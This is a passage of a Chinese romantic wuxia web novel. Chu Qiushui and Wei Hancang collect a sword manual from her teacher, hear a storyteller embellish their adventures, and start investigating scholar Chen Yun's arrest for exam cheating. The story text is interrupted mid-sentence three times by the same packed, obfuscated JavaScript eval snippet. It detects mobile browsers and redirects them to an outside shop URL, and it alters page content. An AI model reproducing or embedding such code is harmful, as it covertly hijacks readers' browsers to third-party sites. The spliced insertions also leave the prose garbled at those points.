马车在京城青石板路上颠簸了半个时辰，褚秋水的屁股已经麻了三次。 她本来准备雇两匹马，和卫寒苍一人一马。 但卫寒苍嫌骑马会把她的衣服磨坏，就只能套个马车。 褚秋水看着街上的风景——好家伙，这京城比她想象的大多了。 街道两旁店铺林立，卖糖人的、卖绸缎的、卖胭脂水粉的，还有举着招牌吆喝“祖传跌打药”的江湖郎中。行人摩肩接踵，热闹得像赶集。 “别看了，”旁边传来懒洋洋的声音，“再看也到不了。” 褚秋水回头掀帘，看向卫寒苍。 这人今日换了身妃色长衫，头发用一根玉簪绾着，耳朵上还戴着那对圆润的珍珠耳坠。 脸上薄薄敷了一层粉，气色看起来比前些日子好了不少——当然，也可能是早起花了半个时辰描眉的成果。 “你打扮这么好看干什么？”褚秋水问，“又不是去相亲。” 卫寒苍瞥她一眼，慢条斯理地说：“见你老师，不得体面点？万一他觉得你交的朋友不三不四，不给你剑谱怎么办？” 褚秋水想了想，觉得有道理。 “那你也不用敷粉吧？” “这叫敷粉？”卫寒苍挑眉，“这叫基本的礼仪。” 褚秋水闭嘴了。 她发现在这种歪门邪道上跟卫寒苍辩经，最后认输的总是自己。 马车在一座气派的府邸门前停下。 褚秋水跳下车，抬头看着门楣上那块匾额——“谢府”。两个字写得苍劲有力，一看就是大家手笔。 她忽然有点紧张。 “怎么了？”卫寒苍走到她身边。 “没什么，”褚秋水深吸一口气，“就是……许多年没见了，不知道老师还记不记得我。” “你老师要是连你都记不住，那这剑谱估计也不会给你。”卫寒苍说着，已经抬脚往府里走，“走吧，站着也记不住。” 褚秋水看着她那副坦然自若的样子，忽然觉得这人有时候还挺靠谱的。 门房通报之后，一个小厮引着她们穿过回廊，来到后院的书房。 书房门开着，里面传来翻书的沙沙声。 小厮站在门口通报：“大人，客人到了。” “进来吧。” 那声音苍老却浑厚，带着几分书卷气。 褚秋水深吸一口气，抬脚跨进门槛。 书房里光线明亮，靠窗的案几前坐着一位老者。他穿着家常的青色长袍，头发花白，面容清瘦，正握着一卷书。听见脚步声，他抬起头来。 目光落在褚秋水脸上，顿了顿。 然后他笑了。 “你是秋水？”他说，“长这么大了。” 褚秋水愣了一下。 她以为自己要自报家门，要解释半天，要回忆当年在山上听课的日子——结果老师一眼就认出了她？ “老师还记得我？” “怎么不记得？”谢云卿放下书，站起身来，“你当年在山上，天天背着一把比你人还高的大剑跑来跑去，摔了不知道多少跤。有一回还把我种的兰花砸了，你记得吗？” 褚秋水：“……” 她当然记得。 那是她第一次上山听课，兴奋得过头，练剑的时候没收住，一剑把老师最心爱的那盆兰花劈成了两半。 给她吓得不行，结果老师只是看了看那盆花的惨状，又看了看她那张紧张兮兮的脸，然后叹了口气说：“花没了还能再种，你要是把自己劈了，我可没法跟你师傅交代。” 从那以后，老师再也没在院子里种过花。 “老师，”褚秋水的脸有点红，“那都是小时候的事了。” “是啊，小时候。”谢云卿笑着打量她，“现在长大了，剑也比人高了。” 他目光移向旁边的卫寒苍，微微挑眉。 “这位是？” “她是我朋友，”褚秋水连忙介绍，“叫卫寒苍，一路陪我来的。” 卫寒苍上前一步，规规矩矩地行了个礼：“见过谢大人。” 谢云卿看了她两眼，目光在她脸上停留了一瞬。褚秋水注意到，老师的眼神在她的喉结上顿了一下。 “好，好。”谢云卿收回目光，笑着招呼她们坐下，“来人，上茶。” 茶过三巡，谢云卿直奔主题。 “你是来取剑谱的吧？” 褚秋水点点头。 谢云卿起身，走到书架前，从最高处取下一个檀木匣子。他打开匣子，里面是一本泛黄的册子，封面上写着三个字——《惊鸿诀》。 “这是我之前写的。”他把剑谱递给褚秋水，“也没什么好藏的，交给需要它的人就好。” 褚秋水双手接过，心里涌起一股说不清的滋味。 既为如此轻易就能得到剑谱而诧异，也为和老师重逢而激动。 谢云卿看着她捧着剑谱发呆的样子，笑了笑。 “你师傅要是看见你现在这样，应该会很高兴。”他说，“当年那个劈我兰花的小丫头，现在都能独当一面了。” 褚秋水抬起头，眼眶有点热。 “老师，我……” “行了，”谢云卿摆摆手，“别煽情。剑谱给你了，以后好好练。你要是再把我屋里的东西劈了，我可要收钱的。” 褚秋水破涕为笑。 卫寒苍在旁边喝着茶，看着这一幕，嘴角微微弯了弯。 又聊了一会儿，谢云卿看了看外面的天色。 “天快黑了，你们今晚就住这儿吧。”他说，“我让人收拾两间客房——” 话没说完，外面跑进来一个小厮，在他耳边低声说了几句。 谢云卿的眉头微微皱了皱，随即恢复如常。 “怎么了？”褚秋水问。 “没什么，”谢云卿摆摆手，“宫里来人了，我得去处理春闱的事。” 他站起来，看向两人。 “你们先歇着。住处的事，我让管家安排。” 说完，他就匆匆离开了。 褚秋水和卫寒苍对视一眼。 “你老师挺忙的。”卫寒苍说。 “当官嘛。”褚秋水把剑谱小心地收好，“肯定不比在山上清闲。” 过了一会儿，管家来了。 是个五十来岁的老者，面容和善，说话慢条斯理的。 “两位姑娘，住处已经安排好了，”他说，“请跟我来。” 两人跟着他穿过回廊，来到一个小院。 院子不大，但收拾得很干净。几株竹子种在墙角，风吹过的时候沙沙作响。院中央有一棵老槐树，树下摆着一张石桌和几个石凳。 管家推开正房的门。 “就是这儿了。” 褚秋水往里一看，愣住了。 一张床。 只有一张床。 她转头看向管家。 “那个……管家伯伯，我们两个人。” 管家点点头，一脸坦然：“是的，就一间房。” “可是……” “大人吩咐的。”管家笑眯眯地说，“他说你们一路同行，想必是极好的朋友，住一间也无妨。而且最近府里客人多，客房紧张，就剩这一间了。” 褚秋水张了张嘴，一时不知该说什么。 卫寒苍在旁边悠悠开口：“我觉得挺好，省得我半夜给你暖床还得跑两个屋。” 褚秋水瞪她。 管家像是什么都没听见，继续笑眯眯地说：“两位先歇着，晚饭会有人送来。有什么需要尽管吩咐。” 说完，他就走了。 留下褚秋水站在门口，看着屋里那张床，陷入沉思。 一张床。 就一张床。 她和卫寒苍…… 虽然以前也是这样，但一起经历了这么多，现在还躺在一张床上，总是感觉怪怪的。 “愣着干什么？”卫寒苍已经走进屋，在床边坐下，拍了拍床铺，“还挺软和的。” 褚秋水走进去，把大剑靠在墙边，在椅子上坐下。 “你坐那儿干嘛？”卫寒苍看她，“过来坐啊。” “我坐这儿就行。” 卫寒苍看着她，忽然笑了。 “怎么，害羞了？我们不是一直这样睡一起吗。” “谁害羞了！”褚秋水梗着脖子，“我就是……就是想坐这儿。” “行吧。”卫寒苍站起来，走到窗边，推开窗户，看着外面的月色，“那你坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371615|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，我站着。” 褚秋水看着她的背影，感觉有点过意不去。再怎么样，都不能让她站着啊。 她站起来，走过去，站在卫寒苍旁边。 窗外，月亮挂在天边，清冷冷的月光洒在小院里。风吹过，竹叶沙沙作响。 “寒苍。”她开口。 “嗯？” “你……你现在晚上睡觉手还冷吗？” 卫寒苍转头看她，月光落在她脸上，她的眼睛里带着一点促狭的笑。 “怎么，怕我占你便宜？” “我……”褚秋水突然有些不知道怎么开口，本能地想肯定回答，但又隐隐觉得不能这样说，“我就是怕你冷了。” 卫寒苍愣了一下，然后笑了，那笑容在月光下格外好看。 “没事，”她说，“我早就习惯了。” 习惯了你在我身边。 褚秋水看着她，忽然觉得心跳漏了一拍。 她连忙移开视线，看向窗外。 “那个……天不早了，睡吧。” 卫寒苍点点头。 两人洗漱完毕，吹灭蜡烛，各自躺下。 床确实不小，两人之间隔着一条胳膊的距离，卫寒苍也难得没靠过来。 褚秋水仰面躺着，盯着帐顶，一动不敢动。她也难得地睡不着了。 旁边传来卫寒苍的呼吸声，轻轻的，均匀的。 过了很久。 “秋水。”黑暗里忽然响起卫寒苍的声音。 “嗯？” “你睡着了吗？” “没有。” 沉默了一会儿。 卫寒苍忽然翻了个身，面向她。 “我睡不着。” 褚秋水也翻过身，面向她。 黑暗中，她们看不清彼此的脸，只能看见一个模糊的轮廓。 “我也睡不着。”褚秋水说。 “为什么？” “我……”褚秋水顿了顿，“我说不太清楚……” 在被卫寒苍纠缠之前，褚秋水的世界很简单。 练剑、吃饭、睡觉，三点一线。 卫寒苍强势地闯入她的世界，让她习惯了有她的生活。今天管家狭促的调侃，让向来迟钝的她感觉到了有些不对。 但她想不出来是哪里不对。她只是隐隐感觉，这件事和练剑不太一样，练剑只需按照书上所言，一招一式地练习。而像现在这种事，不是看书能解决的。 卫寒苍开口，声音是一贯的柔和。 “秋水。” “嗯？” “如果我说，我晚上可能会抢被子，你信吗？” 褚秋水愣了愣，然后笑了。 “信。” “那如果我说，我晚上可能会踹你，你信吗？” “也信。” “那如果我说，”卫寒苍的声音轻了一点，“我晚上可能会……靠着你睡，你信吗？” 褚秋水的心跳又快了一点。 她想了想，说：“你要是冷，可以靠。” 黑暗里，卫寒苍似乎笑了一下。 “好。” 又沉默了一会儿。 褚秋水忽然觉得一只手伸过来，握住了她的手。 那只手有点凉，却握得很紧。 “寒苍？” “嗯？” “你手怎么还是这么凉？” “天生的。” 褚秋水想了想，把那只手握紧了一点。 “那给你暖暖。” 黑暗里，卫寒苍没有说话。 但褚秋水感觉到，那只手握得更紧了。 窗外的月光透过窗纸照进来，在地上投下淡淡的银光。 这一夜，不知道什么时候睡着的。 半夜里，褚秋水迷迷糊糊地翻了个身，感觉自己撞上了什么软软的东西。 她睁开眼，借着月光一看—— 卫寒苍不知道什么时候滚到了她旁边，正蜷在她怀里，睡得正香。 她的脸贴在她肩上，呼吸轻轻的，像只猫。 褚秋水愣了一下，不知道该不该推开她。 但她想了想，算了，推醒了多尴尬。 于是她保持着这个姿势，又睡着了。 21. 茶馆狂言 第二天，她们两个商量着去茶楼看看。 两人出了谢府，沿着京城最热闹的长街往南走。 褚秋水走在前面，大剑裹着布斜背在身后，高出她半个头，引得路人纷纷侧目。她已经习惯了这种目光，昂首挺胸，马尾在身后一甩一，气势磅礴。 卫寒苍走在她旁边，今日换了身常穿的月白色衣裙，头发梳成流云髻，耳坠换了一对白玉的，衬得整个人清清爽爽。 路过卖胭脂水粉的摊子时，她的脚步明显慢了下来，眼睛黏在那一排排瓷盒子上，恨不得把整个摊子搬回家。 “看什么看？”褚秋水拽了她一把，“不是说去听书吗？” 卫寒苍恋恋不舍地收回目光，嘟囔了一句“粗人”，跟着她继续往前走。 福运茶楼在城东南，是京城最有名的听书去处。三层高的木楼，飞檐翘角，门口挂着一副对联——“谈古论今说天地，评书品茶话人生”。笔力遒劲，金光闪闪，一看就值不少钱。 两人推门进去，一楼大堂已经坐了大半。跑堂的迎上来，满脸堆笑：“两位客官，楼上雅座清净——” “不用，”褚秋水一眼扫中角落里一张空桌，“就楼下，听得清楚。” 跑堂的愣了一下。这两位姑娘，一个背大剑，一个戴珍珠，怎么看都不像缺钱的主儿，怎么偏要挤这热闹地方？但他没多问，麻利地擦了桌子，上了茶水和四碟点心。 褚秋水端起茶杯喝了一口，环顾四周。 大堂里三教九流的都有——穿着长衫的读书人扎堆高谈阔论，背着包袱的行商低声交谈，还有几个一看就是江湖人的角色，腰里别着刀剑，大大咧咧地坐在靠窗的位置，把脚翘在凳子上。 “这么多人？”她嘀咕。 “福运茶楼的说书先生，可是京城一绝。”卫寒苍拈起一块桂花糕，咬了一小口，腮帮子鼓鼓的，像只偷吃的仓鼠，“听说连宫里的贵人都偷偷来听过。” 褚秋水来了兴致：“今天讲什么？” 卫寒苍放下糕点，拿帕子擦了擦嘴角，动作慢条斯理的，仿佛接下来要宣布什么惊天大事。 “听说是——”他顿了顿，嘴角微微翘起，露出一个意味深长的笑，“苏眦古国。” 褚秋水差点被茶呛着。 “咳咳咳——什么？” “苏眦古国。”卫寒苍重复了一遍，语气无辜得像在说今天天气不错，“怎么了？” 褚秋水瞪着她，压低声音：“你说怎么了？那不就是咱们——” “嘘。”卫寒苍竖起食指抵在唇边，眨眨眼，“听听人家怎么讲的嘛。” 褚秋水深吸一口气，把涌到嗓子眼的话咽了回去。她有一种不太好的预感。 说书先生还没登场，堂里嗡嗡的议论声此起彼伏。 褚秋水竖着耳朵听了一会儿，说的都是些家长里短、市井八卦，没什么有意思的。倒是二楼雅间里隐隐传来说话声，隔着一层楼板听不太真切。 “笃”的一声，醒木拍桌。 堂里瞬间安静下来，连嗑瓜子的都停了嘴。 说书先生是个五十来岁的瘦削老者，穿一袭青布长衫，精神矍铄，往台上一站，目光扫过全场，自带一股气势。他清了清嗓子，醒木又是一拍。 “列位看官，今日咱们说一段新鲜故事——苏眦古国，三百年前的西域霸主，一夜之间天降神勇，破禁地、斩妖人，还百姓盐铁，开万世太平！” 大堂里叫好声一片。 褚秋水的表情逐渐微妙起来。 说书先生的声音抑扬顿挫，时而慷慨激昂，时而低回婉转。 他讲那苏眦女王如何被妖人蛊惑，收尽天下盐铁，铸成三千只眼和耳，监视臣民；讲那背剑女侠如何从天而降，一剑劈开禁地石门，剑气纵横三万里——此处他比划了一个极其夸张的动作，差点把旁边的茶杯扫下去。 褚秋水低头喝茶，假装什么都没听见。 “那一剑，当真是惊天动地！那禁地石门，厚达三尺，千年未曾开启，却被女侠一剑劈开！那剑光，照亮了整个幽溟渊！那剑风，吹得三千只眼耳齐齐震颤！” 褚秋水嘴角抽了抽。厚达三尺？她记得那门就是普通石门，卫寒苍拿簪子捅了几下就开了。 说书先生继续慷慨激昂：“再说那盗圣——此人轻功了得，来无影去无踪，一夜之间擒获妖人三百信徒！那叫一个神出鬼没，那叫一个来去如风！信徒们还在做梦呢，醒来就发现自己被捆成粽子了！” 卫寒苍在旁边听得津津有味，听到“盗圣”的部分，还不忘低声点评一句：“这个细节不对，我当时明明是先把领头的撂倒了，剩下的才跑的。而且三百个？满打满算也就三十来个。” “你小声点。”褚秋水从桌子底下踢了他一脚。 说书先生正说到高潮处——女侠与妖人决战禁地，大剑横扫，剑气纵横。 他一边说一边比划，把那剑招说得天花乱坠，什么“一剑出而风云变”，什么“二剑落而鬼神惊”，大堂里叫好声此起彼伏，有人甚至站起来鼓掌。 褚秋水听着那些被改得面目全非的事迹，脸上的表情一言难尽。 她转头看卫寒苍，这人倒是一脸享受，眼睛亮晶晶的，嘴角含笑，仿佛说书先生夸的不是他似的。 “怎么样？”卫寒苍凑过来，压低声音，温热的气息喷在她耳边，“是不是比咱们自己经历的好听？” 褚秋水瞪了他一眼。 “好听什么？我什么时候‘一剑出而风云变’了？我要是有那本事，还用得着天天被你气？” 卫寒苍眨眨眼，一脸无辜：“我怎么气你了？” “你——” 褚秋水还没说完，二楼忽然传来一个声音。 那声音不大，但因为大堂安静，清清楚楚地传进每个人耳朵里：“陈公子今年必中，那是板上钉钉的事！” 说书先生停了停，抬头往二楼看了一眼，又若无其事地继续讲。大堂里有人交头接耳，有人抬头张望，但很快又被说书先生的故事拉了回去。 褚秋水却留意上了。她侧耳细听，二楼雅间里隐隐传来谈笑声，隔着一层楼板听不太清，但能分辨出几个人的声音。 又一个声音响起，比刚才那个更张扬，带着几分酒意和傲气：“区区秋闱，何足挂齿？我陈昀读书十余载，等的就是今年！” 陈昀。褚秋水在心里记下这个名字。 “陈公子说的是！”先前那个声音谄媚地接道，语气里能拧出蜜来，“满京城谁不知道，陈公子的才学，那是头一份的！今年秋闱的头名，非陈公子莫属！” 陈昀似乎笑了笑，声音里带着几分志在必得：“不说这些，喝酒喝酒。” 堂里有人小声议论。 “陈昀？就是那个谢云卿谢大人的门生？” “可不是嘛，寒门出身，但才学是真的好。去年诗会上一首诗，把在场所有人都比下去了，听说考官都赞不绝口。” “那也太狂了，还没考就说自己必中……” “人家有狂的资本，你酸什么？” 褚秋水抬头往二楼看了一眼。雅间的窗户半开着，能看见里面人影晃动，但看不清脸。 她正要收回目光，忽然瞥见楼梯口有个人影一闪而过——是个穿绸衫的年轻人，正往下走。他的脸色不太好，嘴唇抿成一条线，眼神阴冷得像冬天里的冰碴子。 卫寒苍也在听，手里的桂花糕举到嘴边忘了咬。 “怎么了？”褚秋水问。 “没怎么。”卫寒苍把桂花糕塞进嘴里，慢条斯理地嚼了嚼，目光还落在那个绸衫青年消失的方向，“就是觉得，这人要么是真有本事，要么是真不怕死。” “哪个？” “那个陈昀。”卫寒苍说，“狂成这样，要么是真材实料，要么是嫌自己命长。” 褚秋水没接话。她又听了一会儿，二楼的声音渐渐低了下去，只剩说书先生抑扬顿挫的腔调在大堂里回荡。 说书先生讲到女侠和盗圣离开苏眦，百姓在佛像底座刻字留念。他的声音忽然慢下来，带着一种悠远的感慨，像是从很远的地方飘来的风。 “那女侠和盗圣，来的时候轰轰烈烈，走的时候悄无声息。只留下那些歪歪扭扭的字，刻在破庙的佛像底下。百姓们不懂什么大道理，他们只知道——有人来过，帮过他们，然后走了。” 大堂里安静了一瞬。 褚秋水忽然想起那天晚上，她和卫寒苍蹲在破庙里，一个字一个字把那些名字拓印下来。月光从屋顶漏进来，照在她们身上，照在那些歪歪扭扭的字迹上。 那些名字她大多已经不记得了，但那种感觉还在，像是有什么东西，轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371616|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻落在了心上。 卫寒苍忽然凑过来，压低声音，打破了这片难得的宁静：“秋水。” “嗯？” “你说，几百年后，会不会有人说书讲咱们的故事？” 褚秋水想了想，老老实实地说：“我希望不要。” “为什么？”卫寒苍一脸不解，好像褚秋水说了什么大逆不道的话。 “太丢人了。”褚秋水说，语气里带着真诚的嫌弃，“你看看他说的那些，什么一剑劈开石门，什么一夜擒获三百信徒。我要是真那么厉害，还用得着天天被你气？” 卫寒苍愣了一下，然后笑了。那笑容在茶楼的灯火下格外好看，眼睛弯弯的，露出一点虎牙，像只偷到了鱼的猫。 “傻瓜，”他说，“那叫传奇。传奇就是要夸张才有人听。你要是老老实实讲‘两个姑娘掉进一个古国，跟一个祭司斗智斗勇，最后把人家国家搞没了’——谁听啊？” 褚秋水想了想，觉得好像也有点道理。 “再说了，”卫寒苍又拈起一块桂花糕，咬了一口，含含糊糊地说，“被人传颂，说明有人记得你。有人记得，就不算白来一趟。” 褚秋水看着他，忽然觉得这句话有点道理。 两人又说了一会儿话，结了茶钱，准备离开。 走到门口的时候，褚秋水回头看了一眼。说书先生已经换了新的故事，讲的是前朝一个将军的轶事，大堂里的茶客们听得入神，没人注意她们。醒木又响了，叫好声此起彼伏。 她正要推门，余光瞥见二楼雅间的门开了。 几个人从里面走出来。为首的是个年轻公子，穿着月白色的长袍，面容清俊，气质儒雅。他脸上带着一点酒后的红晕，脚步有些虚浮，但眼睛很亮，亮得像两颗星星。旁边跟着两个小厮模样的人，一左一右地扶着，生怕他摔了。 “陈公子慢走——下次再来啊——” 那年轻公子摆摆手，示意不用扶，大步往楼下走。他的步伐虽然有些飘，但脊背挺得笔直，带着一股不服输的劲儿。 路过褚秋水身边的时候，他脚步顿了顿，目光在她背后那把裹着布的大剑上停了一瞬。 “好剑。”他说，声音里带着酒意，但语气真诚。 褚秋水愣了一下。 陈昀看着她，笑了笑。那笑容里没有刚才在楼上的张狂，倒是挺真诚的，像个普通年轻人。 “姑娘是习武之人？” “……算是。” “难怪。”他点点头，又看了那把剑一眼，目光里带着一种识货的欣赏，“这把剑，有故事。” 说完，他大步走出茶楼，消失在人群中，月白色的衣角在门帘处一闪就不见了。 褚秋水站在原地，看着他的背影。 卫寒苍走过来，站到她旁边，手里还捏着半块没吃完的桂花糕。 “怎么了？” “没什么。”褚秋水收回目光，“走吧。” 两人推门出去，阳光正好。街上人来人往，卖糖人的小贩在吆喝，几个孩子在追逐打闹，一个妇人拎着菜篮子匆匆走过，一派热闹景象。和茶楼里的传奇故事比起来，这才是真实的烟火人间。 “去哪？”卫寒苍问，把手里的桂花糕塞进嘴里，拍了拍手上的碎屑。 褚秋水想了想：“回谢府吧。拿了剑谱，也该跟老师说一声。” 两人往回走。经过一个巷口的时候，褚秋水忽然停下来，像是想起了什么。 “寒苍。” “嗯？”卫寒苍正低头擦手上的糕点屑，头也没抬。 “你说，那个陈昀，是真的有本事，还是只是吹牛？” 卫寒苍歪着头想了想，阳光落在他脸上，把那层薄薄的粉照得几乎看不见。 “都有吧。”他说，语气难得正经，“有本事的人，才敢吹牛。没本事的，吹了也没人信。” 褚秋水没说话，继续往前走。 阳光把她们的影子拉得很长，一前一后，在青石板路上交叠在一起，像两个并肩而行的人。 回到谢府，屁股还没坐热，茶才喝了一口，小厮的一句话如平地惊雷—— “陈昀公子下狱了！” 褚秋水手里的茶杯差点没端住。 卫寒苍放下糕点，和褚秋水对视一眼。 两个人的表情都很精彩。 22. 下狱 褚秋水赶到前厅的时候，谢云卿正背着手站在窗前，背影佝偻得像一棵被风吹弯的老树。窗外是谢府精致的后花园，假山流水，翠竹掩映，可他一眼都没看进去。 “老师，”褚秋水快步上前，“出什么事了？” 谢云卿转过身来。那张脸上，褚秋水第一次看见了“老”这个字的具象化。眼窝深陷，法令纹像刀刻的一样，嘴唇干裂起皮，整个人像是被什么东西抽走了精气神。 “陈昀被抓了。”他说，声音沙哑，“刚下的狱。” 褚秋水一愣：“陈昀？就是今天茶馆里那个……” “就是他。”谢云卿叹了口气，走到椅子前坐下，动作迟缓得像七八十岁的老人，“有人举报他科举舞弊，说他考前就知道题目。刑部的人今早直接上门拿人，连辩解的机会都没给。” 卫寒苍从褚秋水身后探出半个脑袋，手里还捏着半块从厨房顺来的桂花糕，慢悠悠地问：“那他到底舞弊了没有？” 谢云卿看了他一眼，目光复杂。 他没回答这个问题，只是说：“陈昀是我门生，才华横溢，本不需要做这种事。但现在人赃并获——有人在他家里搜出了一份试题。” “试题？”褚秋水皱眉，“什么试题？” 谢云卿的声音低了下去，低到几乎听不见：“今年秋闱的题目。和礼部封存的考题，一模一样。” 前厅里安静了几秒。安静得能听见院子里的鸟叫，能听见风吹过竹叶的沙沙声，能听见卫寒苍嚼桂花糕的咔嚓声，这人什么时候都不耽误吃。 褚秋水和卫寒苍对视一眼。 这事情，大发了。 但凡牵扯科举舞弊，在朝廷那是要掉脑袋的罪。 “老师，”褚秋水斟酌着开口，每个字都小心翼翼的，像是在雷区里探路，“你……真的没透题？” 谢云卿抬起头，看着她。 那目光里，有一种说不清的东西。不是愤怒，不是委屈，而是更深处的、藏了很久很久的某种情绪。 “秋水，”他说，声音忽然平静下来，平静得不像是在说自己的事，“你跟了我几年？” “三年。” “三年里，我教过你作弊吗？” 褚秋水迟疑着摇头。谢云卿教她的，从来都是堂堂正正——剑要堂堂正正地练，人要堂堂正正地做。他是她见过的，最讲规矩的人。 谢云卿又看向卫寒苍：“这位姑娘，你信我吗？” 卫寒苍眨眨眼，把最后一口桂花糕咽下去，没说话。但她的表情说明了一切——她不信。准确地说，除了褚秋水，她谁都不信，属于是职业病。 谢云卿苦笑了一下。那笑容里带着一点无奈。 “我知道，现在说什么都没用。”他走回书案前，拿起一张纸，动作很慢，像是那张纸有千斤重，“但我需要一个能查清真相的人。秋水，你愿意帮我吗？” 褚秋水接过那张纸，是一张手令——授权她查阅案卷、询问证人、进出府衙。上面的字迹是谢云卿亲笔写的，笔锋刚劲，但最后那个“准”字的最后一笔，微微有些发抖。 她抬起头，看着谢云卿。 这个老人，曾经教她练剑，教她读书，教她做人。她劈了他最心爱的兰花，他也只是笑笑说“没事”。兰花碎了就碎了，人没事就好。他说这话的时候，眼睛是弯的。 “好。”她说，“我查。” 没有犹豫，没有讨价还价。卫寒苍在旁边叹了口气，那口气里的意思大概是：我就知道会这样。 从谢府出来，褚秋水和卫寒苍站在大街上。午后的阳光晒得青石板路发烫，空气中飘着隔壁包子铺的香味。褚秋水的肚子叫了一声，但她顾不上吃。 “先去哪儿？”卫寒苍问，已经从袖子里摸出一把瓜子开始嗑了。 褚秋水想了想：“去陈昀常去的那家茶馆。” “茶馆？”卫寒苍吐掉瓜子壳，“人都被抓了，去茶馆能查到什么？” “今天陈昀在那儿口出狂言，肯定有人听见了。而且他既然常去，那儿的老客多少该知道些底细。”褚秋水说，已经开始往前走，“说不定能找到什么线索。” 卫寒苍跟上来，把瓜子收回袖子里，嘟囔了一句“查案还不让人嗑瓜子”，但脚步没停。 陈昀常去的茶馆叫集贤居，在贡院附近，是专供举子们聚会的地方。 两层小楼，门面不大，但收拾得雅致。门口挂着一副对联——“谈笑有鸿儒，往来无白丁”。口气不小，但配上一旁那棵歪脖子老槐树，就有点打肿脸充胖子的意思了。 两人推门进去，一楼大堂里三三两两坐着些读书人，有的在高谈阔论，有的在埋头苦读，还有几个趴在桌上打瞌睡，口水都快流到书上了。跑堂的迎上来，褚秋水随口说要喝茶，挑了靠窗的位置坐下。 茶上来之后，她没急着喝，先竖着耳朵听了一圈。 大堂里嗡嗡的，聊什么的都有。有人说今年的考题难，有人说某考官如何如何，还有人在低声议论陈昀的事。那几个人的声音压得很低，但褚秋水的耳朵是练过的，一字不漏全听了进去。 “……听说了吗？陈昀被抓了。” “活该！谁让他那么狂？考前就说自己必中，这不是明摆着有问题吗？” “可不是，那日在福运茶楼，我可亲耳听见的。‘区区秋闱，何足挂齿’——听听，这是人话吗？” “我听说啊，是他老师透的题。” “谢云卿？不会吧，那可是五十年前的天下第一剑……” “天下第一剑怎么了？当了官，一样要站队。再说了，天下第一剑就不用吃饭了？” 褚秋水的眉头皱了起来，但她没动声色，继续喝茶。 卫寒苍在旁边慢悠悠地嗑瓜子，她不知什么时候又把瓜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371617|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从袖子里摸出来了，一副事不关己的样子，但那对耳朵竖得比谁都高。 那几个书生正说得起劲，忽然有人咳嗽了一声。 众人抬头，看见楼梯口走下来一个人。是个年轻人，穿着一身洗得发白的青衫，袖口磨得起了毛边，但浆洗得很干净。面容清瘦，颧骨微高，眼睛却很亮，亮得像是能看透人心。他手里拿着一本书，书页都翻卷了，看样子是准备出门。 “江兄，这就走啊？”有人问。 “嗯，回去看书。”那年轻人点点头，脚步不停，目光始终盯着手里的书。 “哎，你说陈昀这事……”有人想拉住他聊。 那年轻人脚步顿了顿，回头看了一眼。那一眼很平静，平静得像是在说今天天气不错。 “陈昀有没有舞弊我不知道，”他说，“但他要是没舞弊，那冤枉他的人，可真是丧良心。” 说完他就走了，青衫的下摆消失在门帘后面，干净利落，不留一句废话。 褚秋水看着他的背影，心里一动。 “那个人是谁？”她问旁边桌上的人，那人正伸长脖子看热闹，瓜子壳吐了一地。 那人收回目光，上下打量她一眼，大概觉得背大剑的姑娘问这种问题也不奇怪，便随口答道：“江远，陈昀的同乡。也是今年赶考的，跟陈昀住一个客栈。两个人都是寒门出身，关系不错。” 褚秋水和卫寒苍对视一眼。 “走，去找他。”她放下茶钱，拽着卫寒苍就往外走。卫寒苍手忙脚乱地把瓜子往袖子里一揣，踉踉跄跄地跟上来。 两人在街上追了一段，在一家书铺门口截住了江远。他正要进去，被褚秋水一声“江公子”叫住了。 江远回过头，看着她们。目光在她背后的大剑上顿了顿，又看了看卫寒苍，最后回到褚秋水脸上。 “你们是……” “谢大人的朋友。”褚秋水开门见山，没有绕弯子，“想查清陈昀的事。” 江远沉默了一会儿。街上的喧嚣声从他们身边流过，卖糖葫芦的小贩吆喝着走过去，几个孩子追着跑过去，但江远一动不动，像是在做什么重大的决定。 然后他叹了口气。 “找个地方说吧。” 三人在路边找了个僻静处，是一棵大槐树的阴影底下。树冠浓密，把阳光遮得严严实实，凉风习习，倒是个说话的好地方。 “陈昀这人，”江远开口，声音里带着一种复杂的情绪，“狂是真狂，但有狂的资本。他的文章，满京城的举子没几个比得上的。” 他顿了顿，像是在回忆什么。 “但就是那首诗，让谢大人一眼看中了他。谢大人说，有傲骨的人，才写得出这样的诗。” 褚秋水心里微微一震。有傲骨的人——老师当年也是这么评价她的。 “那他考前见过什么人吗？”她问，把思绪拉回来。 23. 线索 江远想了想，眉头微微皱起。 “见过。考前第三天，有人来找过他。” 褚秋水精神一振：“什么人？” “不认识。”江远摇头，目光里有一丝困惑，“是个中年人，穿着挺体面，一看就是当官的。那气派，不是普通小官能有的。他们在门口说了几句话，那人就走了。陈昀回来之后，脸色有点怪。” “怎么个怪法？” 